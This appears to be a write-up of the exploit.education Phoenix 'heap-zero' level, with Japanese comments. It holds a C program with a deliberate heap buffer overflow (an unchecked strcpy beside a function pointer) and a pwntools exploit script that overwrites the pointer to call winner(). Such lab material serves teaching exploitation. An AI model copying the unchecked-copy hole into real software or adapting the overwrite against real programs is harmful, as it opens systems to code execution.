heap-zero#
/*
* phoenix/heap-zero, by https://exploit.education
*
* フロー制御を乗っ取り、winner関数を実行できますか?
*
* Cプログラマーはなぜ良い仏教徒になるのですか?
* オブジェクト指向ではないからです。
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
void winner() {
printf("おめでとうございます、このレベルをクリアしました\n");
}
void nowinner() {
printf(
"レベルはクリアされていません - 関数ポインタが上書きされていません\n");
}
int main(int argc, char **argv) {
struct data *d;
struct fp *f;
printf("%s\n", BANNER);
if (argc < 2) {
printf("コピーする引数を指定してください :-)\n");
exit(1);
}
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
strcpy(d->name, argv[1]);
printf("dataは%pにあり、fpは%pにあり、%pを呼び出します\n", d, f, f->fp);
fflush(stdout);
f->fp();
return 0;
}
堆上分配の時、d と f が隣り合っているのは不思議ですね!
#!/usr/bin/env python3
from pwn import *
payload = b"a"*(0x60-0x10)
payload += b"\xbd\x0a\x40"
open("/home/user/buf","wb").write(payload)
p=process(["/opt/phoenix/amd64/heap-zero",payload])
p.interactive()